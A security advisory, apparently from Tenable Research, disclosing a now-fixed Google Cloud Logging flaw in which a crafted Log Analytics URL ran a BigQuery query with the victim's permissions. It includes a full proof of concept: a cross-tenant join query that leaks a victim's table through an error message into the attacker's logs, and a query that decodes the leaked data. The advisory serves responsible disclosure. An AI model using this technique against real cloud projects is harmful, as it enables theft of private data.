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Google Cloud Platform (GCP) Cloud Logging Cross-Tenant BigQuery Leak with Log Analytics

High

Synopsis

Tenable Research has identified and responsibly disclosed a data exfiltration vulnerability in Google Cloud Logging. This flaw allowed an attacker to exfiltrate data from a victim's BigQuery datasets by visiting a maliciously crafted Cloud Logging URL.

 

When a user navigates to a Log Analytics URL, the embedded SQL query is automatically submitted, even when set to use the BigQuery engine. An attacker could exploit this behavior by granting the victim BigQuery permissions in the attacker’s project and crafting a malicious URL containing a "Join" query. The query links a log view in the attacker’s project to a sensitive dataset in the victim’s project. Because the query is executed in the context of the user viewing the page, it runs with the victim's permissions. The attacker can therefore create a URL for a Log Analytics query that runs in their own project, but raises the results of the victim's dataset as an error. When the victim browses to the URL, their private BigQuery data will be exfiltrated to the attacker’s project logs.

 

Proof of Concept:

  1. Make sure that Log Analytics is active, with a reservation and that there is at least one log view available with a linked BigQuery dataset
  2. Give the victim’s principal IAM permissions in the attacker’s tenant
  3. Browse to Log Analytics
  4. Click '<> SQL' to change the query builder into SQL mode
  5. Click the settings cog icon, and select the BigQuery engine
  6. Run any legitimate query
  7. Copy the URL, and replace the legitimate query with a malicious query:

SELECT

   ERROR(CONCAT('EXFIL: ', TO_BASE64(

         CAST(

           TO_JSON_STRING(ARRAY_AGG(t)) AS BYTES

     ))

   ))

FROM (

      SELECT t

  FROM

    `[ATTACKER_PROJECT].global._Default._AllLogs` AS l

    CROSS JOIN `[VICTIM_PROJECT].[VICTIM_DATASET].[VICTIM_TABLE]` AS t

  LIMIT 1 OFFSET 0

);

  1. Get the victim to browse to the new malicious URL, which will run the query automatically
  2. Once the victim browses to the URL, query the logs to view the exfiltrated data:

SELECT

    CAST(

    FROM_BASE64(

      REGEXP_EXTRACT(

        proto_payload.audit_log.status.message, r'^EXFIL:\s+([A-Za-z0-9+/=]+)'

      )

    ) AS STRING

  )

FROM

  `[ATTACKER_PROJECT].global._Default._AllLogs`

WHERE severity = "ERROR" AND starts_with(proto_payload.audit_log.status.message, 'EXFIL')

ORDER BY timestamp DESC

Solution

Google has resolved the issue by stopping the automatic running of log analytics queries. Queries involving resources that do not share an ownership boundary will now display a warning message to ask users to check if the query is safe, and manually initiate running the query in charts, once confirmed.

Disclosure Timeline

November 16, 2025 - Tenable reports the finding to Google, and Google acknowledges
November 25, 2025 - Google accepts the bug and assigns an S1 severity
December 14, 2025 - Tenable requests an update
December 16, 2025 - Google awards a bounty
December 17, 2025 - Tenable acknowledges
December 18, 2025 - Google informs they will share updates about the fix and ETA when available
January 4, 2026 - Tenable requests an update
January 7, 2026 - Google updates that product teams are still working on a mitigation
January 22, 2026 - Google updates that the fix is rolling out, Tenable acknowledges and requests additional details regarding the fix
January 26, 2026 - Google provides details regarding the fix
January 28, 2026 - Google updates the status of the issue to fixed

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